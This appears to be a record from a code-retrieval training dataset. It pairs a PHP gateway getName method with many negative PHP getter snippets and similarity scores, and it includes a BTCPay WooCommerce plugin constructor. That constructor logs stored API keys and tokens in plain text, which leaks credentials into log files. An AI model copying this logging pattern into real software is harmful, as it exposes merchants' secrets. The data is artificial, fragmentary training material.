$this->debug_plugin_version = constant(\"BTCPAY_VERSION\");\n\n $this->log('BTCPay Woocommerce payment plugin object constructor called. Plugin is v' . $this->debug_plugin_version . ' and server is PHP v' . $this->debug_php_version);\n $this->log(' [Info] $this->api_key = ' . $this->api_key);\n $this->log(' [Info] $this->api_pub = ' . $this->api_pub);\n $this->log(' [Info] $this->api_sin = ' . $this->api_sin);\n $this->log(' [Info] $this->api_token = ' . $this->api_token);\n $this->log(' [Info] $this->api_token_label = ' . $this->api_token_label);\n $this->log(' [Info] $this->api_url = ' . $this->api_url);\n\n // Process Credentials\n if (false === empty($this->api_key)) {\n try {\n $this->api_key = $this->btcpay_decrypt($this->api_key);\n\n if (false === empty($this->api_key)) {\n $this->log(' [Info] Private Key decrypted successfully.');\n } else {\n $this->log(' [Error] Private Key decrypted successfully BUT the value itself is null or empty!');\n }\n } catch (\\Exception $e) {\n $this->log(' [Error] Private Key corrupt. Message is: ' . $e->getMessage());\n }\n } else {\n\n }\n\n if (false === empty($this->api_pub)) {\n try {\n $this->api_pub = $this->btcpay_decrypt($this->api_pub);\n\n if (false === empty($this->api_pub)) {\n $this->log(' [Info] Public Key decrypted successfully.');\n } else {\n $this->log(' [Error] Public Key decrypted successfully BUT the value itself is null or empty!');\n }\n } catch (\\Exception $e) {\n $this->log(' [Error] Public Key corrupt. Message is: ' . $e->getMessage());\n }\n }\n\n if (false === empty($this->api_token)) {\n try {\n $this->api_token = $this->btcpay_decrypt($this->api_token);\n\n if (true === isset($this->api_token) && false === empty($this->api_token)) {\n $this->log(' [Info] API Token decrypted successfully.');\n } else {\n $this->log(' [Error] API Token decrypted successfully BUT the value itself is null or empty!');\n }\n } catch (\\Exception $e) {\n $this->log(' [Error] API Token corrupt. Message is: ' . $e->getMessage());\n }\n }\n\n // Check API Credentials\n if (!($this->api_key instanceof \\Bitpay\\PrivateKey)) {\n $this->api_key = null;\n $this->log(' [Error] The API Key was NOT an instance of PrivateKey! Instead, it appears to be a ' . gettype($this->api_key) . ' value.');\n }\n\n if (!($this->api_pub instanceof \\Bitpay\\PublicKey)) {\n $this->api_pub = null;\n $this->log(' [Error] The Public Key was NOT an instance of PublicKey! Instead, it appears to be a ' . gettype($this->api_pub) . ' value.');\n }\n\n if (!($this->api_token instanceof \\Bitpay\\Token)) {\n $this->api_token = null;\n $this->log(' [Error] The API Token was NOT an instance of Token! Instead, it appears to be a ' . gettype($this->api_token) . ' value.');\n }\n\n $this->transaction_speed = $this->get_option('transaction_speed');\n $this->log(' [Info] Transaction speed is now set to: ' . $this->transaction_speed);\n\n // Actions\n add_action('woocommerce_update_options_payment_gateways_' . $this->id, array($this, 'process_admin_options'));\n add_action('woocommerce_update_options_payment_gateways_' . $this->id, array($this, 'save_order_states'));\n\n // Valid for use and IPN Callback\n if (false === $this->is_valid_for_use()) {\n $this->enabled = 'no';\n $this->log(' [Info] The plugin is NOT valid for use!');\n } else {\n $this->enabled = 'yes';\n $this->log(' [Info] The plugin is ok to use.');\n add_action('woocommerce_api_wc_gateway_btcpay', array($this, 'ipn_callback'));\n }\n\n // Additional token initialization.\n if (btcpay_get_additional_tokens()) {\n $this->initialize_additional_tokens();\n }\n $this->is_initialized = true;\n }", "public function loadGateWay($gateway_name = 'paypal')\n {\n $gateway = new gateway();\n $p = $gateway->load($gateway_name);\n return $p;\n }" ]
[ "0.66716826", "0.6384696", "0.6249484", "0.62149787", "0.6110789", "0.60577065", "0.6033565", "0.60211897", "0.59701854", "0.5967527", "0.59634644", "0.5953352", "0.5910391", "0.58746976", "0.5858993", "0.5858393", "0.5829891", "0.58226234", "0.58142745", "0.58082706", "0.5805046", "0.57955205", "0.57898355", "0.57641786", "0.5750407", "0.5736187", "0.5728606", "0.57240087", "0.5690635", "0.5658991", "0.5638966", "0.56376183", "0.56158036", "0.5608466", "0.5603185", "0.5599587", "0.5589739", "0.55802876", "0.55543554", "0.5553461", "0.5550047", "0.55292565", "0.55235404", "0.5512542", "0.55101484", "0.5498332", "0.54974383", "0.54959464", "0.5492943", "0.5491976", "0.5469199", "0.5453991", "0.5450072", "0.54468787", "0.5441749", "0.54149276", "0.5413936", "0.5407139", "0.5406597", "0.5393572", "0.537367", "0.53595096", "0.53523403", "0.5340258", "0.533719", "0.5330826", "0.5324967", "0.53231436", "0.5321957", "0.5321774", "0.53210354", "0.53172296", "0.5315474", "0.5300547", "0.52985877", "0.52935165", "0.5293133", "0.5291464", "0.5277053", "0.5271529", "0.5271167", "0.5267816", "0.52638215", "0.52487075", "0.52467245", "0.5237974", "0.52376515", "0.52373075", "0.5227915", "0.52206534", "0.521257", "0.52098703", "0.5206506", "0.520421", "0.5193988", "0.5192711", "0.5179898", "0.51589847", "0.5158715", "0.515569" ]
0.57635397
24
Returns the name of this gateway
public function getName() { return Language::_("Alipay.name", true); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function getGatewayTitle()\n {\n return GatewayInfo::niceTitle($this->Gateway);\n }", "public function getName()\n {\n return 'Global Alipay wap gateway';\n }", "public function getShortName()\n {\n return Helper::getGatewayShortName(get_class($this));\n }", "public function getDefaultGatewayName()\n {\n return $this->settings['default'];\n }", "public function getName(): string\n {\n return 'IfThenPay Multibanco Gateway';\n }", "public function getName()\n {\n return 'Alipay Js Gateway';\n }", "public function getName()\n {\n return 'Alipay Legacy Wap Gateway';\n }", "protected function getGatewayIdentifier() {\n\t\treturn $this->gatewayIdentifier;\n\t}", "protected function getGatewayIdentifier() {\n\t\treturn $this->gatewayIdentifier;\n\t}", "public function getName() {\n\t\treturn $this->selectedEndpoint['name'];\n\t}", "public function getName()\n {\n return config('payment.gateways.paypal_pro.name');\n }", "public function getName()\n {\n return $this->zoneName;\n }", "public function get_name() {\n\n\t\treturn $this->name;\n\t}", "public function get_name() {\n\t\treturn $this->name;\n\t}", "public function get_name() {\n\t\treturn $this->name;\n\t}", "public function get_name() {\n\t\treturn $this->name;\n\t}", "public function get_name() {\n\t\treturn $this->name;\n\t}", "public function get_name() {\n return $this->name;\n }", "public function get_name()\n {\n\n return $this->name;\n }", "public function getGatewayId()\n {\n return $this->gateway_id;\n }", "public function getName()\n {\n return $this->__get(\"name\");\n }", "public function getName()\n {\n return $this->__get(\"name\");\n }", "public function getName() : string\n {\n return $this->url;\n }", "public function name()\n {\n return $this->getName();\n }", "public function name()\n {\n return $this->getName();\n }", "public function getGateway()\n {\n return $this->gateway;\n }", "public function name() {\n\t\treturn $this->name;\n\t}", "public function get_name()\n {\n return $this->name;\n }", "public function get_name()\n {\n return $this->name;\n }", "public function getName() {\n return $this->get(self::NAME);\n }", "public function getName() {\n return $this->get(self::NAME);\n }", "public function getName() {\n return $this->get(self::NAME);\n }", "public function get_name() {\r\n return $this->name;\r\n }", "public function get_name(): string\n {\n return $this->name;\n }", "public function getGateway() {\n return $this->gateway;\n }", "public function get_name()\n\t{\n\t\treturn $this->name;\n\t}", "public function getName(): string {\n return $this->name;\n }", "public function name() {\n return $this->name;\n }", "public function getName()\n {\n return 'travelbase.getHost';\n }", "public function name()\n\t{\n\t\treturn $this->name;\n\t}", "public function name()\n\t{\n\t\treturn $this->name;\n\t}", "public function name()\n\t{\n\t\treturn $this->name;\n\t}", "function get_name () {\n return $this -> name;\n }", "protected function getName()\n {\n return $this->slimInstance->router()->getCurrentRoute()->getName();\n }", "public function getName()\n {\n return $this->get(self::NAME);\n }", "public function getName()\n {\n return $this->get(self::NAME);\n }", "public function getName(): string {\n\t\t\treturn $this->name;\n\t\t}", "public function name(): string\n {\n return $this->name;\n }", "public function name(): string\n {\n return $this->name;\n }", "public function name(): string\n {\n return $this->name;\n }", "public function name(): string\n {\n return $this->name;\n }", "public function getName()\n {\n return isset($this->name) ? $this->name : '';\n }", "public function getName()\n {\n return isset($this->name) ? $this->name : '';\n }", "public function getName()\n {\n return isset($this->name) ? $this->name : '';\n }", "public function getName()\n {\n return isset($this->name) ? $this->name : '';\n }", "protected function GetName() {\n\t\treturn $this->name;\n\t}", "public function getName()\n {\n switch ($this->queriedContext) {\n case $this->i8n('context-keyword'):\n return $this->i8n('bridge-name') . ' - ' . $this->i8n('title-keyword') . ' : ' . $this->getInput('q');\n break;\n case $this->i8n('context-group'):\n return $this->i8n('bridge-name') . ' - ' . $this->i8n('title-group') . ' : ' . $this->getKey('group');\n break;\n case $this->i8n('context-talk'):\n return $this->i8n('bridge-name') . ' - ' . $this->i8n('title-talk') . ' : ' . $this->getTalkTitle();\n break;\n default: // Return default value\n return static::NAME;\n }\n }", "public function getName() : string {\n return $this->name;\n }", "public function getName() : string {\n return $this->name;\n }", "public function getName() : string {\n return $this->name;\n }", "public function getName() {\n return $this->__name;\n }", "public function name()\n {\n return $this->name;\n }", "public function name()\n {\n return $this->name;\n }", "public function name()\n {\n return $this->name;\n }", "public function name()\n {\n return $this->name;\n }", "public function name()\n {\n return $this->name;\n }", "public function name()\n {\n return $this->name;\n }", "public function name()\n {\n return $this->name;\n }", "public function name()\n {\n return $this->name;\n }", "public function name()\n {\n return $this->name;\n }", "public function name()\n {\n return $this->name;\n }", "public function name()\n {\n return $this->name;\n }", "public function name()\n {\n if (isset($this->attributes[self::NAME])) {\n return $this->attributes[self::NAME];\n }\n\n return $this->path();\n }", "public function getname()\n {\n return $this->name;\n }", "public function name()\n\t{\n\t\treturn $this->_name;\n\t}", "public function getVpnGateway()\n {\n return isset($this->vpn_gateway) ? $this->vpn_gateway : '';\n }", "public function getBillingName(){\n return $this->_getData(self::BILLING_NAME);\n }", "static function Name()\n {\n return self::Variable('SERVER_NAME');\n }", "public function getName()\n {\n return $this->name . ':' . $this->region->getWorld()->id;\n }", "public function getName() {\n return $this->get(\"name\");\n }", "public function getName(): string\n {\n return $this->name;\n }", "public function getName(): string\n {\n return $this->name;\n }", "public function getName(): string\n {\n return $this->name;\n }", "public function getName(): string\n {\n return $this->name;\n }", "public function getName(): string\n {\n return $this->name;\n }", "public function getName(): string\n {\n return $this->name;\n }", "public function getName(): string\n {\n return $this->name;\n }", "public function getName(): string\n {\n return $this->name;\n }", "public function getName(): string\n {\n return $this->name;\n }", "public function getName(): string\n {\n return $this->name;\n }", "public function getName(): string\n {\n return $this->name;\n }", "public function getName(): string\n {\n return $this->name;\n }", "public function getName(): string\n {\n return $this->name;\n }", "public function getName(): string\n {\n return $this->name;\n }", "public function getName(): string\n {\n return $this->name;\n }", "public function getName(): string\n {\n return $this->name;\n }", "public function getName(): string\n {\n return $this->name;\n }", "public function getName(): string\n {\n return $this->name;\n }", "public function getName(): string\n {\n return $this->name;\n }", "public function getName(): string\n {\n return $this->name;\n }", "public function getName(): string\n {\n return $this->name;\n }" ]
[ "0.789757", "0.78271747", "0.77719074", "0.7413362", "0.7209018", "0.71404654", "0.7117296", "0.70888937", "0.70888937", "0.70326006", "0.7013637", "0.68108606", "0.6804386", "0.6782293", "0.6782293", "0.6782293", "0.6782293", "0.6776135", "0.6768356", "0.6759676", "0.67574334", "0.67574334", "0.675112", "0.67409974", "0.67409974", "0.67174584", "0.67092866", "0.6677641", "0.6677641", "0.66765046", "0.66765046", "0.66765046", "0.66744417", "0.6672122", "0.667096", "0.6669364", "0.6656054", "0.66508204", "0.6645018", "0.66357434", "0.66357434", "0.66357434", "0.6634887", "0.6619683", "0.66167176", "0.66167176", "0.6616054", "0.6613433", "0.6613433", "0.6613433", "0.6613433", "0.6610545", "0.6610545", "0.6610545", "0.6610545", "0.6607274", "0.66042423", "0.66016185", "0.66016185", "0.66016185", "0.65932757", "0.6593168", "0.6593168", "0.6593168", "0.6593168", "0.6593168", "0.6593168", "0.6593168", "0.6593168", "0.6593168", "0.6593168", "0.6593168", "0.6590117", "0.6587645", "0.6577146", "0.65767246", "0.65761274", "0.6575568", "0.65711915", "0.65686184", "0.6561217", "0.6561217", "0.6561217", "0.6561217", "0.6561217", "0.6561217", "0.6561217", "0.6561217", "0.6561217", "0.6561217", "0.6561217", "0.6561217", "0.6561217", "0.6561217", "0.6561217", "0.6561217", "0.6561217", "0.6561217", "0.6561217", "0.6561217", "0.6561217" ]
0.0
-1
Returns the version of this gateway
public function getVersion() { return self::$version; }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function get_version() {\n return $this->version;\n }", "public function getVersion()\n {\n return $this->sendrequest('version', null);\n }", "function get_version() {\n\n\t\treturn $this->version;\n\n\t}", "public function get_version() {\n\t\treturn $this->version;\n\t}", "public function get_version() {\n\t\treturn $this->version;\n\t}", "public function get_version() {\n\t\treturn $this->version;\n\t}", "public function get_version() {\n\t\treturn $this->version;\n\t}", "public function get_version() {\n\t\treturn $this->version;\n\t}", "public function get_version() {\n\t\treturn $this->version;\n\t}", "public function get_version() {\n\t\treturn $this->version;\n\t}", "public function get_version() {\n\t\treturn $this->version;\n\t}", "public function get_version() {\n\t\treturn $this->version;\n\t}", "public function get_version() {\n\t\treturn $this->version;\n\t}", "public function get_version()\n {\n return $this->version;\n }", "public function get_version()\n {\n return $this->version;\n }", "public function get_version() { \n\n\t\treturn $this->version; \n\n\t}", "public function version() {\r\n return $this->VERSION;\r\n }", "public function version()\n {\n return $this->protocol;\n }", "public function get_version()\n\t{\n\t\treturn $this->version;\n\t}", "public function getVersion(){\n\t\treturn $this->version;\n\t}", "public function getVersion() {\r\n return $this->version;\r\n }", "public function getVersion()\n {\n return $this->get(self::VERSION);\n }", "public function getVersion()\n {\n return $this->version;\n }", "public function getVersion()\n {\n return $this->version;\n }", "public function getVersion()\n {\n return $this->version;\n }", "public function getVersion()\n {\n return $this->version;\n }", "public function getVersion()\n {\n return $this->version;\n }", "public function getVersion()\n {\n return $this->version;\n }", "public function getVersion()\n {\n return $this->version;\n }", "public function getVersion()\n {\n return $this->version;\n }", "public function getVersion()\n {\n return $this->version;\n }", "public function getVersion()\n {\n return $this->version;\n }", "public function getVersion()\n {\n return $this->version;\n }", "public function getVersion()\n {\n return $this->version;\n }", "public function getVersion()\n {\n return $this->version;\n }", "public function getVersion()\n {\n return $this->version;\n }", "public function getVersion()\n {\n return $this->version;\n }", "public function getVersion()\n {\n return $this->version;\n }", "public function getVersion()\n {\n return $this->version;\n }", "public function getVersion()\n {\n return $this->version;\n }", "public function getVersion()\n {\n return $this->version;\n }", "public function getVersion()\n {\n return $this->version;\n }", "public function getVersion()\n {\n return $this->version;\n }", "public function getVersion()\n {\n return $this->version;\n }", "public function getVersion()\n {\n return $this->version;\n }", "public function getVersion()\n {\n return $this->version;\n }", "public function getVersion()\n {\n return $this->version;\n }", "public function getVersion()\n {\n return $this->version;\n }", "public function getVersion()\n {\n return $this->version;\n }", "public function getVersion()\n {\n return $this->version;\n }", "public function getVersion()\n {\n return $this->version;\n }", "public function getVersion()\n {\n return $this->version;\n }", "public function getVersion() {\n\t\treturn $this->version;\n\t}", "public function get_version(){\n return $this->_version;\n }", "public function getVersion()\r\n {\r\n return $this->version;\r\n }", "public function getVersion() {\n return $this->_version;\n }", "public function getVersion() {\n return self::$version;\n }", "public static function get_version() {\n return self::$version;\n }", "public function get_version();", "public function version()\n\t{\n\t\treturn static::$version;\n\t}", "public function get_version(): string\n {\n return $this->version;\n }", "public function getVersion()\n\t{\n\t\treturn $this->version;\n\t}", "public static function version()\r\n {\r\n return self::$version;\r\n }", "public function getVersion()\n {\n return self::$version;\n }", "public function getVersion() {\n\t\tif($this->version == \"\")\n\t\t$this->version = \"0.0.0\";\n\t\treturn $this->version;\n\t}", "public function getVersion()\n {\n return $version;\n }", "public function getVersion()\n {/*{{{*/\n return $this->_version;\n }", "public function getVersion()\n {\n return $this->get(self::_VERSION);\n }", "public function getVersion()\n {\n return static::$version;\n }", "public function getVersion()\n {\n return $this->values[\"version\"];\n }", "public function retrieveVersion()\n {\n return $this->start()->uri(\"/api/system/version\")\n ->get()\n ->go();\n }", "public function getVersion(){\n $client = Yii::$app->infoServices;\n return $client->getVersion()->return->version;\n }", "function getVersion ()\n {\n return $this->_version;\n }", "function getVersion() {\n\t\treturn $this->_Version;\n\t}", "public function version()\n {\n $this->sendCommand('VERSION');\n return trim($this->getResponse());\n }", "public function getVersion(): string\n {\n return $this->version;\n }", "public function getVersion(): string\n {\n return $this->version;\n }", "public function getVersion() {\r\n return $this->versione;\r\n }", "public function version()\n {\n $sPARAMS = array( );\n $result = $this->_api(\"Version\", array($sPARAMS) );\n return($result->VersionResult);\n }", "public static function getVersion()\n\t{\n\t\treturn self::$_version;\n\t}", "public function getVersion() {\r\n\t\t$response = $this->Client->execute('show version');\r\n\t\tpreg_match('/Version:\\s+VyOS\\s([0-9\\.]+)/', $response, $matches );\r\n\t\t$version = $matches[1];\r\n\t\treturn $version;\r\n\t}", "public function getVersion(): string\n {\n return $this->data->version;\n }", "public function version() { return $this->_m_version; }", "public function version() { return $this->_m_version; }", "public function getRequestedVersion()\n {\n return $this->_options['requested_version'];\n }", "function get_version() {\n return self::VERSION;\n }", "function get_version() {\n return self::VERSION;\n }", "public function getVersion(): string\n {\n return $this->rawData['version'];\n }", "public final function getVersion() : string\n {\n return $this->version;\n }", "public function getVersion(): string\n\t{\n\t\tif (isset($this->dataCache['version']))\n\t\t{\n\t\t\treturn $this->dataCache['version'];\n\t\t}\n\n\t\tif (empty($this->firebird))\n\t\t{\n\t\t\t$this->initialize();\n\t\t}\n\n\t\treturn $this->dataCache['version'] = $this->firebird->server_info;\n\t}", "public function getVersion() \n\t{\n\t\t$url = \"http://{$this->wnServer}/webnative/portalDI?action=version\";\n\t\treturn $this->curlObj->fetch_url($url);\n\t}", "public function version() {\n\t\t$app = $this->app;\n\t\treturn intval($app::VERSION);\n\t}", "public function getVersion() {\n return isset($this->data['version']) ? $this->data['version'] : null;\n }", "public function getHttpVersion()\n {\n return $this->getConfig('httpVersion');\n }", "public function getVersion();", "public function getVersion();", "public function getVersion();", "public function getVersion();", "public function getVersion();", "public function getVersion();" ]
[ "0.80273837", "0.7986565", "0.79862887", "0.7984941", "0.7984941", "0.7984941", "0.7984941", "0.7984941", "0.7984941", "0.7984941", "0.7984941", "0.7984941", "0.7984941", "0.7972181", "0.7972181", "0.7960587", "0.7939388", "0.7932859", "0.7915621", "0.78928894", "0.7882056", "0.78557986", "0.78518564", "0.78518564", "0.78518564", "0.78518564", "0.78518564", "0.78518564", "0.78518564", "0.78518564", "0.78518564", "0.78518564", "0.78518564", "0.78518564", "0.78518564", "0.78518564", "0.78518564", "0.78518564", "0.78518564", "0.78518564", "0.78518564", "0.78518564", "0.78518564", "0.78518564", "0.78518564", "0.78518564", "0.78518564", "0.78518564", "0.78518564", "0.78518564", "0.78518564", "0.78518564", "0.7832899", "0.7832173", "0.78320014", "0.7817494", "0.78092587", "0.7797873", "0.778834", "0.778698", "0.77742684", "0.7771043", "0.7764689", "0.774967", "0.774517", "0.7738836", "0.77378917", "0.7722931", "0.7701116", "0.76941144", "0.76728", "0.76667213", "0.7665617", "0.76635474", "0.7610316", "0.7599961", "0.7599961", "0.7596959", "0.75730234", "0.7564193", "0.75611603", "0.75308794", "0.753058", "0.753058", "0.7527385", "0.7480695", "0.7480695", "0.74769974", "0.74666953", "0.74421394", "0.743682", "0.74331236", "0.7413046", "0.7406642", "0.73967606", "0.73967606", "0.73967606", "0.73967606", "0.73967606", "0.73967606" ]
0.77891386
58
Returns the name and URL for the authors of this gateway
public function getAuthors() { return self::$authors; }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function getAuthorsUrl()\n {\n if ($listKey = Mage::getStoreConfig('komaks_newsedit/author/url_rewrite_list')) {\n return Mage::getUrl('', array('_direct'=>$listKey));\n }\n return Mage::getUrl('komaks_newsedit/author/index');\n }", "protected function getAuthorsLinks() {\r\n\t\treturn $this->authorsLinks;\r\n\t}", "public function meta_author_url()\n\t{\n\t\treturn $this->get_context_meta_value( __FUNCTION__ );\n\t}", "function get_the_author_url()\n {\n }", "public function authorLink() { return $this->post->post_author; }", "public function getAuthorname() {}", "function the_author_url()\n {\n }", "public function getModuleAuthorUrl()\n {\n return isset($this->config['author_url']) ? $this->config['author_url'] : '';\n }", "public function link()\n {\n return get_author_posts_url($this->ID, $this->display_name);\n }", "function get_the_author_link()\n {\n }", "public function getAuthor();", "public function getAuthor();", "public function getAuthor();", "public function get_authors();", "public function getAuthor() {}", "function medigroup_mikado_get_author_posts_url() {\n return get_author_posts_url(get_the_author_meta('ID'));\n }", "function showAuthor()\n {\n $this->out->elementStart('div', 'author');\n\n $this->out->elementStart('span', 'vcard author');\n\n $attrs = array('href' => $this->profile->profileurl,\n 'class' => 'url',\n 'title' => $this->profile->nickname);\n\n $this->out->elementStart('a', $attrs);\n $this->showAvatar();\n $this->out->text(' ');\n $user = common_current_user();\n if (!empty($user) && $user->streamNicknames()) {\n $this->out->element('span',array('class' => 'fn'),\n $this->profile->nickname);\n } else {\n $this->out->element('span',array('class' => 'fn'),\n $this->profile->getBestName());\n }\n $this->out->elementEnd('a');\n\n $this->out->elementEnd('span');\n\n $this->showAddressees();\n\n $this->out->elementEnd('div');\n }", "public function authors() {\n return $this->connected( Person::postType() );\n }", "public function get_author()\n {\n return 'Kamen Blaginov';\n }", "public function get_author()\n {\n return 'Kamen Blaginov';\n }", "public function getAuthors();", "public function getAuthors()\n {\n return $this->getValue('authors');\n }", "public function getAuthorName()\n {\n return 'Fightmaster.publication.author.name';\n }", "public function get_author()\n\t{\n\t\treturn '';\n\t}", "public function get_urlChannel () {\r\n\t\treturn $this->get_info()['author_url'];\r\n\t}", "function get_author_link($display, $author_id, $author_nicename = '')\n {\n }", "public function author() {\n\t\t\t\n\t\t\t$output = array();\n\n\t\t\t$author = $this->post->post_author;\n\t\t\t\n\t\t\t$output['id'] = $author;\n\t\t\t$output['nicename'] = get_the_author_meta('nickname', $author);\n\t\t\t$output['name'] = get_the_author_meta('user_firstname', $author).' '.get_the_author_meta('user_lastname', $author);\n\t\t\t$output['url'] = get_author_posts_url($author);\n\t\t\t$output['description'] = get_the_author_meta('description', $author);\n\t\t\t\n\t\t\treturn $output;\n\t\t}", "public function authorsProvider()\n {\n return [[[]]];\n }", "function GetAuthor()\n {\n return 'calguy1000';\n }", "protected function setAuthorsLinks() {\r\n\t\t$authors = $this->getAuthors();\r\n\t\tif (!empty($authors)) {\r\n\t\t\tforeach ($this->settings['site']['authors'] as $author) {\r\n\t\t\t\tif (in_array(trim($author['name']), $authors) && !empty($author['uri'])) {\r\n\t\t\t\t\t$typolink_conf = array(\r\n\t\t\t\t\t\t\"parameter\" => $author['uri'],\r\n\t\t\t\t\t\t\"forceAbsoluteUrl\" => 1,\r\n\t\t\t\t\t\t\"useCacheHash\" => 0);\r\n\t\t\t\t\t$this->authorsLinks[] = $this->getUri($typolink_conf);\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t}", "function voyage_mikado_get_author_posts_url() {\n return get_author_posts_url(get_the_author_meta('ID'));\n }", "public function getAuthorName() : void {\n\t\treturn $this->authorName;\n\t}", "public function author();", "public function getAuthor(): string\n {\n return $this->_author;\n }", "public function getAuthors()\n {\n return self::$authors;\n }", "public function getAuthors() {\n return self::$authors;\n }", "public function getAuthors()\n {\n return static::$authors;\n }", "function the_author_link()\n {\n }", "public function get_author()\n {\n return 'Chris Graham';\n }", "public function get_author()\n {\n return 'Chris Graham';\n }", "public function get_author()\n {\n return 'Chris Graham';\n }", "public function get_author()\n {\n return 'Chris Graham';\n }", "public function get_author()\n {\n return 'Chris Graham';\n }", "public function get_author()\n {\n return 'Chris Graham';\n }", "protected function getAuthors() {\r\n\t\treturn $this->authors;\r\n\t}", "function cosmetro_get_the_author_posts_link() {\n\tob_start();\n\tthe_author_posts_link();\n\t$author = ob_get_clean();\n\n\treturn $author;\n}", "public function getAuthors()\n {\n return $this->authors;\n }", "public function getUrl() {\n return urlencode($this->name);\n }", "public function getAuthorcompany() {}", "public function author() : string\n {\n if (isset($this->entity->author)) {\n return $this->entity->author->name;\n }\n\n return 'Sin autor';\n }", "public function wxr_authors_list()\n {\n $db = Typecho_Db::get();\n $dbPrefix = $db->getPrefix();\n\n $user_table = $dbPrefix . 'users';\n $authors = $db->fetchAll($db->query(\"select uid,name,mail from {$user_table} where activated != 0\"));\n $html = '';\n foreach ( $authors as $author ) {\n $html .= \"\\t<wp:author>\";\n $html .= '<wp:author_id>' . $author['uid'] . '</wp:author_id>';\n $html .= '<wp:author_login>' . $author['name'] . '</wp:author_login>';\n $html .= '<wp:author_email>' . $author['mail'] . '</wp:author_email>';\n $html .= '<wp:author_display_name>' . $this->wxr_cdata($author['name']) . '</wp:author_display_name>';\n $html .= '<wp:author_first_name>' . $this->wxr_cdata('') . '</wp:author_first_name>';\n $html .= '<wp:author_last_name>' . $this->wxr_cdata('') . '</wp:author_last_name>';\n $html .= \"</wp:author>\\n\";\n }\n return $html;\n }", "abstract public function getAuthor();", "public function getAuthorUsername()\n {\n return $this->AUTHOR_USERNAME;\n }", "public function owner()\n\t{\n\t\treturn array('url' => Route::url('user.profile', array('id' => $this->owner['id'])), 'username' => $this->owner['username']);\n\t}", "public function getPermalinkAttribute()\n {\n return url('/author/'.$this->attributes['slug']);\n }", "function GetAuthor()\n {\n return 'texus';\n }", "public function getAuthorEmail(){\n return $this->AUTHOR_EMAIL;\n }", "public function getSponsorlink() {}", "public function getAuthors()\n\t{\n\t\treturn $this->authors;\n\t}", "function getAuthor(){\n $author = $this->getResource('schema:author');\n if (empty($author)){\n $author = $this->getResource('schema:creator');\n }\n return $author;\n }", "function yz_edit_author_link_url( $link, $author_id ) {\n return bp_core_get_user_domain( $author_id );\n}", "public function Author()\n {\n return $this->rssField($this->authorField);\n }", "private function actionGetAuthors() {\n\t\t$authors = array();\n\t\t$obj = new stdClass();\n\n\t\t$users = get_users( 'exclude=[1]&who=authors' );\n\n\t\tforeach ( $users as $user ) {\n\t\t\t$authors[] = array( 'id' => $user->ID, 'name' => $user->display_name );\n\t\t}\n\n\t\t$obj->success = true;\n\t\t$obj->errorMessage = null;\n\t\t$obj->authors = $authors;\n\n\t\t$this->sendJSON( $obj );\n\t}", "public function getAuthor() {\n return $this->randomQuote->author_name;\n }", "function get_the_author_posts_link()\n {\n }", "public function get_author() {\n\t\treturn $this->author();\n\t}", "public function getOfficialLink();", "public function getAuthor()\n {\n return $this->author;\n }", "public function getAuthor()\n {\n return $this->author;\n }", "public function getAuthor()\n {\n return $this->author;\n }", "public function getAuthor()\n {\n return $this->author;\n }", "public function getAuthor()\n {\n return $this->author;\n }", "public function getAuthor()\n {\n return $this->author;\n }", "public function getAuthor()\n {\n return $this->author;\n }", "public function getAuthor()\n {\n return $this->author;\n }", "public function get_nameChannel () {\r\n\t\treturn $this->get_info()['author_name'];\r\n\t}", "private static function getAuthorInfo()\n {\n $curTimeStamp = time();\n $author = static::$appId . '-' . $curTimeStamp;\n $authorPwd = md5($curTimeStamp . static::$appSecret);\n\n return $author . ':' . $authorPwd;\n }", "public function index()\n {\n $authors = $this->author->all();\n\n return view('medialinkexample::admin.authors.index', compact('authors'));\n }", "function get_the_author_aim()\n {\n }", "function GetAuthorEmail()\n {\n return '[email protected]';\n }", "public function getAuthor() {\n return $this->author;\n }", "public function getAuthor() {\n return $this->author;\n }", "public function getAuthor() {\n return $this->author;\n }", "public function getAuthor() \r\n { \r\n return $this->_author; \r\n }", "function get_author_posts_url($author_id, $author_nicename = '')\n {\n }", "public function authors_name() {\n $authors = $this -> author;\n $res = [];\n\n foreach($authors as $author) {\n array_push($res, $author->name . ' ' . $author -> surname);\n }\n\n return $res;\n }", "function print_author_tag() {\n\t\t\n\t\techo \"<meta name='author' content='{$this->options->site_author}' />\\r\\n\";\n\t}", "public function getAuthor() {\n\t\treturn UserManager::getFromBlid($this->blid);\n\t}", "public function getFullName() {\r\n $authors = $this->getAuthors();\r\n foreach ($authors as $author) {\r\n echo $author->first_name . ' ' . $author->last_name .'<br>';\r\n }\r\n }", "public function redirect_author_link()\n {\n return home_url('/');\n }", "function material_design_theme_posted_by() {\n\t\t$byline = '<span class=\"author vcard\">' . get_avatar( get_the_author_meta( 'ID' ), 36 ) . '<a class=\"url fn n mdc-typography--caption\" href=\"' . esc_url( get_author_posts_url( get_the_author_meta( 'ID' ) ) ) . '\">' . esc_html( get_the_author() ) . '</a></span>';\n\n\t\techo '<div class=\"byline\"> ' . $byline . '</div>'; // phpcs:ignore\n\n\t}", "function get_the_author_description()\n {\n }", "public function show()\n {\n return view('authors.add_author');\n }", "public function getAuthorName()\n {\n return $this->author ? $this->author : $this->createUser->firstname . ' ' . $this->createUser->lastname;\n }", "function GetAuthorEmail()\n {\n return '[email protected]';\n }", "public function getAuthor() {\n\t\treturn $this->author;\n\t}", "function souvvi_get_author_url(){\n\n if(!get_the_author_meta('user_url')){\n return get_author_posts_url(get_the_author_meta('ID'));\n };\n return get_the_author_meta('user_url', get_the_author_meta('ID') );\n\n }", "public function getAuthor() {\n\t\t\treturn $this->MODULE_AUTHOR;\n\t\t}", "function getOwner() {\n \n return $this->principalInfo['uri'];\n \n }", "public function getAuthorLabel()\n {\n return (string) $this->_theme->themeAuthor->authorLabel;\n }" ]
